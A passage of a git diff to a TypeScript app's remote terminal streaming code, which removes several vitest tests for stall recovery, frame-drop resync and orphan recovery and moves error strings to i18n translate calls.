-import type { TerminalOrphanRecoveryCall } from './adoption/web-session-terminal-orphan-recovery-adoption'
+} from '../../../lib/workspace/sleep/worktree-sleep-intent'
+import { clearWebSessionTerminalOrphanRecoveryForTests } from './web-session-terminal-orphan-recovery'
 import { applyWebSessionTabsSnapshot } from '../../web-session-tabs-sync/snapshot-api'
 import {
   ENV,
@@ -81,43 +75,6 @@ function pendingFrame(worktreeId: string): RuntimeMobileSessionTabsResult {
   )
 }
 
-function listed(result: unknown): RuntimeRpcResponse<unknown> {
-  return { id: 'list', ok: true, result, _meta: { runtimeId: 'runtime-1' } }
-}
-
-function listCall(
-  listing: (worktreeId: string) => RuntimeRpcResponse<unknown>,
-  worktreeId: string
-) {
-  return vi.fn<TerminalOrphanRecoveryCall>(async ({ method }) => {
-    if (method !== 'terminal.list') {
-      throw new Error(`unexpected ${method}`)
-    }
-    return listing(worktreeId)
-  })
-}
-
-const INVENTORIES = [
-  {
-    name: 'a complete inventory',
-    listing: (worktreeId: string) => listed(listResult(worktreeId, []))
-  },
-  {
-    name: 'an older host inventory without hostScope',
-    listing: (worktreeId: string) => listed({ ...listResult(worktreeId, []), hostScope: undefined })
-  },
-  {
-    name: 'a truncated inventory',
-    listing: (worktreeId: string) => listed(listResult(worktreeId, [], { truncated: true }))
-  },
-  {
-    name: 'a failed inventory',
-    listing: (): RuntimeRpcResponse<unknown> => {
-      throw new Error('connection lost')
-    }
-  }
-]
-
 describe('terminal orphan recovery of a slept workspace (#30108)', () => {
   beforeEach(() => {
     clearWebSessionTerminalOrphanRecoveryForTests()
@@ -128,28 +85,6 @@ describe('terminal orphan recovery of a slept workspace (#30108)', () => {
     clearWorktreeSleepIntent(FOLDER)
   })
 
-  it.each([
-    ...INVENTORIES.map((inventory) => ({ worktreeId: FOLDER, ...inventory })),
-    { worktreeId: WT, ...INVENTORIES[0]! }
-  ])('keeps $worktreeId asleep when $name omits its handle', async ({ worktreeId, listing }) => {
-    const state = sleptState(worktreeId)
-    markWorktreeSleepIntent(worktreeId)
-    const frame = pendingFrame(worktreeId)
-    const call = listCall(listing, worktreeId)
-
-    const recovered = await recoverWebSessionTerminalOrphansBeforeApply(state, frame, ENV, {
-      call
-    })
-
-    expect(recovered?.tabs).toEqual([
-      expect.objectContaining({
-        leafId: '11111111-1111-4111-8111-111111111111',
-        status: 'pending-handle',
-        terminal: null
-      })
-    ])
-  })
-
   it('retains the wake binding without reviving a slept folder when applying a pending frame', () => {
     const state = sleptState(FOLDER)
     markWorktreeSleepIntent(FOLDER)
diff --git a/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-snapshot-outcome.test.ts b/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-snapshot-outcome.test.ts
index 4bf0531be7b..7b42e598a03 100644
--- a/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-snapshot-outcome.test.ts
+++ b/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-snapshot-outcome.test.ts
@@ -172,19 +172,6 @@ describe('remote terminal snapshot outcome reasons', () => {
     return stream
   }
 
-  it('reports a reply past the client replay limit as permanently unavailable', async () => {
-    const stream = await subscribeClient()
-    server.nextRequestedReply = { kind: 'oversized', chunks: 5 }
-
-    await expect(stream.serializeBufferOutcome({ scrollbackRows: 100 })).resolves.toEqual({
-      availability: {
-        kind: 'permanently-unavailable',
-        reason: 'exceeds-client-replay-limit'
-      },
-      snapshot: null
-    })
-  })
-
   it('reports a concurrent request as retry-worthy while the legacy path still rejects', async () => {
     const stream = await subscribeClient()
     server.nextRequestedReply = { kind: 'hold' }
diff --git a/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-terminal-snapshot-controller.ts b/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-terminal-snapshot-controller.ts
index 73f979a8376..2436d83dd3d 100644
--- a/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-terminal-snapshot-controller.ts
+++ b/src/renderer/src/runtime/hosted-terminals/snapshots/remote-runtime-terminal-snapshot-controller.ts
@@ -21,6 +21,13 @@ import type {
   RemoteRuntimeSnapshotOutcome,
   RemoteRuntimeSnapshotRequestOptions
 } from './remote-terminal-snapshot-contracts'
+import { translate } from '@/i18n/i18n'
+
+const streamStoppedResponding = (): string =>
+  translate(
+    'auto.runtime.remoteTerminal.streamStopped',
+    'Remote terminal stream stopped responding.'
+  )
 
 export abstract class RemoteRuntimeTerminalSnapshotController extends RemoteRuntimeTerminalMultiplexerBase {
   // Compare known UTF-16 high-waters: startSeq beyond expectedSeq proves dropped output. First/unknown seq cannot prove a gap.
@@ -262,13 +269,13 @@ export abstract class RemoteRuntimeTerminalSnapshotController extends RemoteRunt
     if (this.streams.get(stream.streamId) !== stream) {
       return
     }
-    disposeRemoteTerminalStreamState(stream, 'Remote terminal stream stopped responding.')
+    disposeRemoteTerminalStreamState(stream, streamStoppedResponding())
     this.streams.delete(stream.streamId)
     this.sendFrame(stream.streamId, TerminalStreamOpcode.Unsubscribe)
     if (stream.callbacks.onTransportClose) {
       stream.callbacks.onTransportClose({ recoverable: true, stalled: true })
     } else {
-      stream.callbacks.onError?.('Remote terminal stream stopped responding.')
+      stream.callbacks.onError?.(streamStoppedResponding())
     }
     this.closeIfIdle()
   }
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-binary-controller.ts b/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-binary-controller.ts
index 8c0eae7ed8a..382ea781c90 100644
--- a/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-binary-controller.ts
+++ b/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-binary-controller.ts
@@ -6,7 +6,7 @@ import {
   decodeTerminalInputAck,
   type TerminalStreamFrame
 } from '../../../../../../shared/terminal/stream/terminal-stream-protocol'
-import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-delivery-credit'
+import { deliverTerminalDataWithDeferredCredit } from '@/lib/pane-manager/terminal-output/terminal-delivery-credit'
 import {
   shouldDropE2eRemoteTerminalOutput,
   shouldHoldE2eRemoteTerminalAck
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-response-controller.ts b/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-response-controller.ts
index 4f73bf467ff..f841947e72b 100644
--- a/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-response-controller.ts
+++ b/src/renderer/src/runtime/hosted-terminals/streams/frames/remote-runtime-terminal-response-controller.ts
@@ -13,6 +13,7 @@ import { disposeRemoteTerminalStreamState } from '../remote-terminal-stream-disp
 import { isTerminalDriverState } from './remote-terminal-multiplex-event'
 import type { TerminalMultiplexEvent } from './remote-terminal-multiplex-event'
 import { unwrapRuntimeRpcResult } from '../../../rpc/calls/runtime-rpc-result'
+import { translate } from '@/i18n/i18n'
 
 type SubscribedCapabilities = {
   ackOutputSourceRanges: boolean
@@ -113,7 +114,10 @@ export abstract class RemoteRuntimeTerminalResponseController extends RemoteRunt
         )
       }
     } else if (event.type === 'end') {
-      disposeRemoteTerminalStreamState(stream, 'Remote terminal stream ended.')
+      disposeRemoteTerminalStreamState(
+        stream,
+        translate('auto.runtime.remoteTerminal.streamEnded', 'Remote terminal stream ended.')
+      )
       this.streams.delete(event.streamId)
       if (stream.capacityRejected) {
         if (stream.callbacks.onTransportClose) {
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-frame-drop-resync.test.ts b/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-frame-drop-resync.test.ts
index 6de61e51692..7e11e81ebe8 100644
--- a/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-frame-drop-resync.test.ts
+++ b/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-frame-drop-resync.test.ts
@@ -323,33 +323,6 @@ describe('remote terminal frame-drop resync', () => {
     }
   })
 
-  it('escalates to stall recovery when the host never answers a recovery', async () => {
-    vi.useFakeTimers()
-    try {
-      const onTransportClose = vi.fn()
-      await getRemoteRuntimeTerminalMultiplexer('env-1').subscribeTerminal({
-        terminal: 'terminal-1',
-        client: { id: 'desktop-1', type: 'desktop' },
-        callbacks: { onData: vi.fn(), onSnapshot: vi.fn(), onTransportClose }
-      })
-      await Promise.resolve()
-      await Promise.resolve()
-      server.holdNextRecoverySnapshot = true
-      server.output('aaa')
-      server.dropNextOutput = true
-      server.output('bbb')
-      server.output('ccc')
-      await vi.advanceTimersByTimeAsync(10_000)
-      server.holdNextRecoverySnapshot = true
-      await vi.advanceTimersByTimeAsync(500)
-
-      await vi.advanceTimersByTimeAsync(10_000)
-      expect(onTransportClose).toHaveBeenCalledWith({ recoverable: true, stalled: true })
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('does not re-request a recovery that is still streaming on a slow link', async () => {
     vi.useFakeTimers()
     try {
@@ -376,40 +349,6 @@ describe('remote terminal frame-drop resync', () => {
     }
   })
 
-  it('drops stale binary output and retires the old transport after a same-id re-pair', async () => {
-    replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 1, pairingRevision: 10 }])
-    const data: string[] = []
-    const onTransportClose = vi.fn()
-    const multiplexer = getRemoteRuntimeTerminalMultiplexer('env-1')
-    await multiplexer.subscribeTerminal({
-      terminal: 'terminal-1',
-      client: { id: 'desktop-1', type: 'desktop' },
-      callbacks: {
-        onData: (chunk) => data.push(chunk),
-        onSnapshot: vi.fn(),
-        onTransportClose
-      }
-    })
-
-    replaceRuntimeEnvironmentRevisions([{ id: 'env-1', createdAt: 1, pairingRevision: 11 }])
-    server.output('stale output')
-
-    expect(data).toEqual([])
-    expect(onTransportClose).toHaveBeenCalled()
-    expect(unsubscribe).toHaveBeenCalled()
-  })
-
-  it('requests an authoritative resync instead of rendering malformed span JSON', async () => {
-    const { data, snapshots } = await subscribeClient()
-
-    server.malformedOutputSpan()
-    await Promise.resolve()
-    await Promise.resolve()
-
-    expect(data).toEqual([])
-    expect(snapshots).toEqual(['INITIAL', '\x1b[?2026l\x1b[2J\x1b[3J\x1b[HRECOVERED'])
-  })
-
   it('uses UTF-16 sequence units when detecting gaps in multibyte output', async () => {
     const { data, snapshots } = await subscribeClient()
 
@@ -423,29 +362,4 @@ describe('remote terminal frame-drop resync', () => {
     expect(data).toEqual(['é'])
     expect(snapshots).toEqual(['INITIAL', '\x1b[?2026l\x1b[2J\x1b[3J\x1b[HRECOVERED'])
   })
-
-  it('defers recovery until an in-flight manual snapshot finishes', async () => {
-    const { data, snapshots, stream } = await subscribeClient()
-    server.holdNextManualSnapshot = true
-    const manualSnapshot = stream.serializeBuffer({ scrollbackRows: 100 })
-    await Promise.resolve()
-
-    server.output('aaa')
-    server.dropNextOutput = true
-    server.output('🙂')
-    server.output('ccc')
-
-    expect(data).toEqual(['aaa'])
-
-    server.flushHeldManualSnapshot()
-    await Promise.resolve()
-    await Promise.resolve()
-
-    await expect(manualSnapshot).resolves.toMatchObject({ data: 'MANUAL' })
-
-    expect(snapshots).toEqual(['INITIAL', '\x1b[?2026l\x1b[2J\x1b[3J\x1b[HRECOVERED'])
-
-    server.output('ddd')
-    expect(data).toEqual(['aaa', 'ddd'])
-  })
 })
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts b/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts
deleted file mode 100644
index b25992a2d7d..00000000000
--- a/src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts
+++ /dev/null
@@ -1,293 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
-  encodeTerminalStreamFrame,
-  encodeTerminalStreamJson,
-  encodeTerminalStreamText
-} from '../../../../../shared/terminal/stream/terminal-stream-protocol'
-import {
-  REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS,
-  REMOTE_TERMINAL_DELIVERY_STALL_TIMEOUT_MS
-} from './recovery/remote-terminal-stream-watchdog'
-import { TERMINAL_MULTIPLEX_ACK_FLUSH_MS } from '../../../../../shared/terminal/stream/terminal-multiplex-flow-control'
-
-describe('remote terminal stalled stream recovery', () => {
-  const sendBinary = vi.fn()
-  const unsubscribe = vi.fn()
-  const recordBreadcrumb = vi.fn()
-  let callbacks: {
-    onResponse: (response: unknown) => void
-    onBinary: (bytes: Uint8Array<ArrayBufferLike>) => void
-  } | null = null
-
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.resetModules()
-    sendBinary.mockReset()
-    unsubscribe.mockReset()
-    recordBreadcrumb.mockReset()
-    callbacks = null
-    vi.stubGlobal('window', {
-      api: {
-        crashReports: {
-          recordBreadcrumb
-        },
-        runtimeEnvironments: {
-          subscribe: vi.fn(async (_args, nextCallbacks) => {
-            callbacks = nextCallbacks
-            queueMicrotask(() => {
-              callbacks?.onResponse({ ok: true, result: { type: 'ready' } })
-            })
-            return { unsubscribe, sendBinary }
-          })
-        }
-      }
-    })
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    vi.unstubAllGlobals()
-  })
-
-  it('restarts only the stream whose renderer delivery credit never settles', async () => {
-    const { getRemoteRuntimeTerminalMultiplexer } =
-      await import('./registry/remote-runtime-terminal-multiplexer-registry')
-    const { takeCurrentTerminalDeliveryCredit } =
-      await import('../../../lib/pane-manager/terminal-delivery-credit')
-    const stalledCredits: (() => void)[] = []
-    const onTransportClose = vi.fn()
-    const multiplexer = getRemoteRuntimeTerminalMultiplexer('windows-test')
-    const stalled = await multiplexer.subscribeTerminal({
-      terminal: 'term-stalled',
-      client: { id: 'mac-viewer', type: 'desktop' },
-      callbacks: {
-        onData: () => {
-          const credit = takeCurrentTerminalDeliveryCredit()
-          if (credit) {
-            stalledCredits.push(credit)
-          }
-        },
-        onSnapshot: vi.fn(),
-        onTransportClose
-      }
-    })
-    const healthy = await multiplexer.subscribeTerminal({
-      terminal: 'term-healthy',
-      client: { id: 'mac-viewer', type: 'desktop' },
-      callbacks: { onData: vi.fn(), onSnapshot: vi.fn() }
-    })
-    sendBinary.mockClear()
-
-    emitOutput(stalled.streamId, 'host output that xterm never parses')
-
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_DELIVERY_STALL_TIMEOUT_MS)
-
-    expect(onTransportClose).toHaveBeenCalledWith({ recoverable: true, stalled: true })
-    expect(sentUnsubscribeStreamIds()).toEqual([stalled.streamId])
-    expect(unsubscribe).not.toHaveBeenCalled()
-
-    healthy.close()
-  })
-
-  it('keeps the delivery deadline anchored while sibling frames keep settling', async () => {
-    const { getRemoteRuntimeTerminalMultiplexer } =
-      await import('./registry/remote-runtime-terminal-multiplexer-registry')
-    const { takeCurrentTerminalDeliveryCredit } =
-      await import('../../../lib/pane-manager/terminal-delivery-credit')
-    const credits: (() => void)[] = []
-    const onTransportClose = vi.fn()
-    const stream = await getRemoteRuntimeTerminalMultiplexer('windows-test').subscribeTerminal({
-      terminal: 'term-anchored',
-      client: { id: 'mac-viewer', type: 'desktop' },
-      callbacks: {
-        onData: () => {
-          const credit = takeCurrentTerminalDeliveryCredit()
-          if (credit) {
-            credits.push(credit)
-          }
-        },
-        onSnapshot: vi.fn(),
-        onTransportClose
-      }
-    })
-    sendBinary.mockClear()
-
-    emitOutput(stream.streamId, 'frame the renderer never parses')
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_DELIVERY_STALL_TIMEOUT_MS - 5_000)
-    emitOutput(stream.streamId, 'sibling frame that settles')
-    credits[1]?.()
-    await vi.advanceTimersByTimeAsync(TERMINAL_MULTIPLEX_ACK_FLUSH_MS)
-
-    await vi.advanceTimersByTimeAsync(5_000)
-
-    expect(onTransportClose).toHaveBeenCalledWith({ recoverable: true, stalled: true })
-    expect(sentUnsubscribeStreamIds()).toEqual([stream.streamId])
-  })
-
-  it('probes then restarts a stream when an entered command receives no frames', async () => {
-    const { getRemoteRuntimeTerminalMultiplexer } =
-      await import('./registry/remote-runtime-terminal-multiplexer-registry')
-    const { REMOTE_TERMINAL_SNAPSHOT_REQUEST_TIMEOUT_MS } =
-      await import('../snapshots/remote-terminal-snapshot-policy')
-    const onTransportClose = vi.fn()
-    const stream = await getRemoteRuntimeTerminalMultiplexer('windows-test').subscribeTerminal({
-      terminal: 'term-silent',
-      client: { id: 'mac-viewer', type: 'desktop' },
-      callbacks: { onData: vi.fn(), onSnapshot: vi.fn(), onTransportClose }
-    })
-    sendBinary.mockClear()
-
-    expect(stream.sendInput('ls\r')).toBe(true)
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS)
-
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_SNAPSHOT_REQUEST_TIMEOUT_MS)
-
-    expect(onTransportClose).toHaveBeenCalledWith({ recoverable: true, stalled: true })
-    expect(sentUnsubscribeStreamIds()).toEqual([stream.streamId])
-  })
-
-  it('establishes a probe baseline before recovering an unsequenced stream', async () => {
-    const { getRemoteRuntimeTerminalMultiplexer } =
-      await import('./registry/remote-runtime-terminal-multiplexer-registry')
-    const onTransportClose = vi.fn()
-    const stream = await getRemoteRuntimeTerminalMultiplexer('windows-test').subscribeTerminal({
-      terminal: 'term-first-output-lost',
-      client: { id: 'mac-viewer', type: 'desktop' },
-      callbacks: { onData: vi.fn(), onSnapshot: vi.fn(), onTransportClose }
-    })
-    sendBinary.mockClear()
-
-    expect(stream.sendInput('echo first-output\r')).toBe(true)
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS)
-    const request = sentFrames(TerminalStreamOpcode.SnapshotRequest)[0]
-    const payload = request
-      ? decodeTerminalStreamJson<{ requestId: number }>(request.payload)
-      : null
-    emitSnapshot(stream.streamId, payload?.requestId ?? 0, 'first-output', 12)
-    await vi.advanceTimersByTimeAsync(0)
-
-    expect(onTransportClose).not.toHaveBeenCalled()
-    expect(stream.sendInput('silent-command\r')).toBe(true)
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS)
-    const sameRequest = sentFrames(TerminalStreamOpcode.SnapshotRequest)[1]
-    const samePayload = sameRequest
-      ? decodeTerminalStreamJson<{ requestId: number }>(sameRequest.payload)
-      : null
-    emitSnapshot(stream.streamId, samePayload?.requestId ?? 0, 'first-output', 12)
-    await vi.advanceTimersByTimeAsync(0)
-
-    expect(onTransportClose).not.toHaveBeenCalled()
-    expect(stream.sendInput('regressed-snapshot\r')).toBe(true)
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS)
-    const regressedRequest = sentFrames(TerminalStreamOpcode.SnapshotRequest)[2]
-
-    if (!regressedRequest) {
-      throw new Error('Missing regressed snapshot request')
-    }
-    const regressedPayload = decodeTerminalStreamJson<{ requestId: number }>(
-      regressedRequest.payload
-    )
-
-    if (!regressedPayload || typeof regressedPayload.requestId !== 'number') {
-      throw new Error('Malformed regressed snapshot request')
-    }
-    emitSnapshot(stream.streamId, regressedPayload.requestId, 'partial-output', 8)
-    await vi.advanceTimersByTimeAsync(0)
-
-    expect(onTransportClose).not.toHaveBeenCalled()
-    expect(stream.sendInput('still-below-baseline\r')).toBe(true)
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS)
-    const belowBaselineRequest = sentFrames(TerminalStreamOpcode.SnapshotRequest)[3]
-
-    if (!belowBaselineRequest) {
-      throw new Error('Missing below-baseline snapshot request')
-    }
-    const belowBaselinePayload = decodeTerminalStreamJson<{ requestId: number }>(
-      belowBaselineRequest.payload
-    )
-
-    if (!belowBaselinePayload || typeof belowBaselinePayload.requestId !== 'number') {
-      throw new Error('Malformed below-baseline snapshot request')
-    }
-    emitSnapshot(stream.streamId, belowBaselinePayload.requestId, 'partial-output', 10)
-    await vi.advanceTimersByTimeAsync(0)
-
-    expect(onTransportClose).not.toHaveBeenCalled()
-    expect(stream.sendInput('echo second-output\r')).toBe(true)
-    await vi.advanceTimersByTimeAsync(REMOTE_TERMINAL_COMMAND_RESPONSE_TIMEOUT_MS)
-    const advancedRequest = sentFrames(TerminalStreamOpcode.SnapshotRequest)[4]
-    const advancedPayload = advancedRequest
-      ? decodeTerminalStreamJson<{ requestId: number }>(advancedRequest.payload)
-      : null
-    emitSnapshot(stream.streamId, advancedPayload?.requestId ?? 0, 'second-output', 25)
-    await vi.advanceTimersByTimeAsync(0)
-
-    expect(onTransportClose).toHaveBeenCalledWith({ recoverable: true, stalled: true })
-    expect(sentUnsubscribeStreamIds()).toEqual([stream.streamId])
-  })
-
-  function emitOutput(streamId: number, text: string): void {
-    callbacks?.onBinary(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.Output,
-        streamId,
-        seq: text.length,
-        payload: encodeTerminalStreamText(text)
-      })
-    )
-  }
-
-  function emitSnapshot(
-    streamId: number,
-    requestId: number | undefined,
-    data = '',
-    seq?: number
-  ): void {
-    callbacks?.onBinary(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotStart,
-        streamId,
-        seq: 1,
-        payload: encodeTerminalStreamJson({
-          kind: 'scrollback',
-          requestId,
-          cols: 80,
-          rows: 24,
-          seq
-        })
-      })
-    )
-    if (data) {
-      callbacks?.onBinary(
-        encodeTerminalStreamFrame({
-          opcode: TerminalStreamOpcode.SnapshotChunk,
-          streamId,
-          seq: 2,
-          payload: encodeTerminalStreamText(data)
-        })
-      )
-    }
-    callbacks?.onBinary(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotEnd,
-        streamId,
-        seq: 3,
-        payload: new Uint8Array()
-      })
-    )
-  }
-
-  function sentFrames(opcode: TerminalStreamOpcode) {
-    return sendBinary.mock.calls.flatMap(([bytes]) => {
-      const frame = decodeTerminalStreamFrame(bytes)
-      return frame?.opcode === opcode ? [frame] : []
-    })
-  }
-
-  function sentUnsubscribeStreamIds(): number[] {
-    return sentFrames(TerminalStreamOpcode.Unsubscribe).map((frame) => frame.streamId)
-  }
-})
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/runtime-terminal-stream.test.ts b/src/renderer/src/runtime/hosted-terminals/streams/runtime-terminal-stream.test.ts
index bf5b2801a10..b63cbe0e1a8 100644
--- a/src/renderer/src/runtime/hosted-terminals/streams/runtime-terminal-stream.test.ts
+++ b/src/renderer/src/runtime/hosted-terminals/streams/runtime-terminal-stream.test.ts
@@ -1,12 +1,4 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  TerminalStreamOpcode,
-  decodeTerminalStreamFrame,
-  decodeTerminalStreamJson,
-  encodeTerminalStreamFrame,
-  encodeTerminalStreamJson,
-  encodeTerminalStreamText
-} from '../../../../../shared/terminal/stream/terminal-stream-protocol'
 import { resetRemoteRuntimeTerminalMultiplexersForTests } from './registry/remote-runtime-terminal-multiplexer-registry'
 import { subscribeToRuntimeTerminalData } from './runtime-terminal-data-subscription'
 
@@ -44,132 +36,6 @@ describe('remote runtime terminal data subscriptions', () => {
     vi.unstubAllGlobals()
   })
 
-  it('uses the shared terminal multiplexer for sidecar data watchers', async () => {
-    const watcher = vi.fn()
-
-    const dispose = await subscribeToRuntimeTerminalData(
-      'remote:env-1@@terminal-1',
-      'watcher-1',
-      watcher
-    )
-
-    expect(runtimeSubscribe).toHaveBeenCalledWith(
-      expect.objectContaining({
-        selector: 'env-1',
-        method: 'terminal.multiplex'
-      }),
-      expect.any(Object)
-    )
-    await vi.waitFor(() => expect(sendBinary).toHaveBeenCalled())
-    const subscribeFrame = decodeTerminalStreamFrame(sendBinary.mock.calls[0][0])
-    if (subscribeFrame?.opcode !== TerminalStreamOpcode.Subscribe) {
-      throw new Error('Missing terminal subscription frame')
-    }
-    const subscribePayload = decodeTerminalStreamJson<{ streamId: number }>(subscribeFrame.payload)
-    if (!subscribePayload || typeof subscribePayload.streamId !== 'number') {
-      throw new Error('Missing subscribed terminal stream ID')
-    }
-
-    callbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.Output,
-        streamId: subscribePayload.streamId,
-        seq: 1,
-        payload: encodeTerminalStreamText('live')
-      })
-    )
-
-    expect(watcher).toHaveBeenCalledWith('live')
-    await vi.waitFor(() =>
-      expect(
-        sendBinary.mock.calls
-          .slice(1)
-          .map((call) => decodeTerminalStreamFrame(call[0]))
-          .some((frame) => frame?.opcode === TerminalStreamOpcode.Ack)
-      ).toBe(true)
-    )
-    const ackFrame = sendBinary.mock.calls
-      .slice(1)
-      .map((call) => decodeTerminalStreamFrame(call[0]))
-      .find((frame) => frame?.opcode === TerminalStreamOpcode.Ack)
-    expect(ackFrame?.streamId).toBe(subscribePayload.streamId)
-    expect(ackFrame && decodeTerminalStreamJson(ackFrame.payload)).toEqual({ bytes: 4 })
-    dispose()
-    expect(unsubscribe).toHaveBeenCalled()
-  })
-
-  it('can start at the live tail without replaying the initial snapshot', async () => {
-    const watcher = vi.fn()
-    const subscription = subscribeToRuntimeTerminalData(
-      'remote:env-1@@terminal-1',
-      'watcher-1',
-      watcher,
-      { startAtLiveTail: true }
-    )
-
-    await vi.waitFor(() => expect(sendBinary).toHaveBeenCalled())
-    const subscribeFrame = decodeTerminalStreamFrame(sendBinary.mock.calls[0][0])
-    const subscribePayload =
-      subscribeFrame && decodeTerminalStreamJson<{ streamId: number }>(subscribeFrame.payload)
-    const streamId = subscribePayload!.streamId
-    callbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotStart,
-        streamId,
-        seq: 0,
-        payload: encodeTerminalStreamJson({ seq: 0 })
-      })
-    )
-    callbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotChunk,
-        streamId,
-        seq: 0,
-        payload: encodeTerminalStreamText('historical')
-      })
-    )
-    callbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.SnapshotEnd,
-        streamId,
-        seq: 0,
-        payload: new Uint8Array()
-      })
-    )
-    const dispose = await subscription
-
-    expect(watcher).not.toHaveBeenCalled()
-    callbacks?.onBinary?.(
-      encodeTerminalStreamFrame({
-        opcode: TerminalStreamOpcode.Output,
-        streamId,
-        seq: 4,
-        payload: encodeTerminalStreamText('live')
-      })
-    )
-    expect(watcher).toHaveBeenCalledWith('live')
-    dispose()
-  })
-
-  it('keeps the shared terminal multiplexer until the last watcher closes', async () => {
-    const firstDispose = await subscribeToRuntimeTerminalData(
-      'remote:env-1@@terminal-1',
-      'watcher-1',
-      vi.fn()
-    )
-    const secondDispose = await subscribeToRuntimeTerminalData(
-      'remote:env-1@@terminal-2',
-      'watcher-2',
-      vi.fn()
-    )
-
-    firstDispose()
-    expect(unsubscribe).not.toHaveBeenCalled()
-
-    secondDispose()
-    expect(unsubscribe).toHaveBeenCalled()
-  })
-
   it('unsubscribes a late subscription handle after pre-resolution transport close', async () => {
     let resolveSubscribe!: (handle: {
       unsubscribe: () => void
@@ -197,146 +63,3 @@ describe('remote runtime terminal data subscriptions', () => {
     expect(unsubscribe).toHaveBeenCalled()
   })
 })
-
-describe('remote runtime terminal multiplex ACK gate', () => {
-  const runtimeSubscribe = vi.fn()
-  const sendBinary = vi.fn()
-  const unsubscribe = vi.fn()
-  let callbacks: {
-    onResponse: (response: unknown) => void
-    onBinary?: (bytes: Uint8Array<ArrayBufferLike>) => void
-    onError?: (error: { message: string }) => void
-    onClose?: () => void
-  } | null = null
-
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    callbacks = null
-    runtimeSubscribe.mockImplementation(async (_args: unknown, nextCallbacks: typeof callbacks) => {
-      callbacks = nextCallbacks
-      queueMicrotask(() =>
-        callbacks?.onResponse({
-          ok: true,
-          result: { type: 'ready' }
-        })
-      )
-      return { unsubscribe, sendBinary }
-    })
-    vi.stubGlobal('window', {
-      api: {
-        e2e: {
-          getConfig: () => ({ exposeStore: true })
-        },
-        runtimeEnvironments: {
-          subscribe: runtimeSubscribe
-        }
-      }
-    })
-  })
-
-  afterEach(() => {
-    vi.unstubAllGlobals()
-    vi.resetModules()
-  })
-
-  it('applies mid-session recovery snapshots without re-subscribing', async () => {
-    const { getRemoteRuntimeTerminalMultiplexer } =
-      await import('./registry/remote-runtime-terminal-multiplexer-registry')
-    resetRemoteRuntimeTerminalMultiplexersForTests()
-
-    const multiplexer = getRemoteRuntimeTerminalMultiplexer('env-recovery')
-    const onSnapshot = vi.fn()
-    const stream = await multiplexer.subscribeTerminal({
-      terminal: 'terminal-recovery',
-      client: { id: 'desktop-recovery', type: 'desktop' },
-      callbacks: {
-        onData: vi.fn(),
-        onSnapshot
-      }
-    })
-    await vi.waitFor(() => expect(sendBinary).toHaveBeenCalled())
-    const streamId = stream.streamId
-
-    const injectSnapshot = (info: Record<string, unknown>, text: string): void => {
-      callbacks?.onBinary?.(
-        encodeTerminalStreamFrame({
-          opcode: TerminalStreamOpcode.SnapshotStart,
-          streamId,
-          seq: 1,
-          payload: encodeTerminalStreamJson(info)
-        })
-      )
-      callbacks?.onBinary?.(
-        encodeTerminalStreamFrame({
-          opcode: TerminalStreamOpcode.SnapshotChunk,
-          streamId,
-          seq: 2,
-          payload: encodeTerminalStreamText(text)
-        })
-      )
-      callbacks?.onBinary?.(
-        encodeTerminalStreamFrame({
-          opcode: TerminalStreamOpcode.SnapshotEnd,
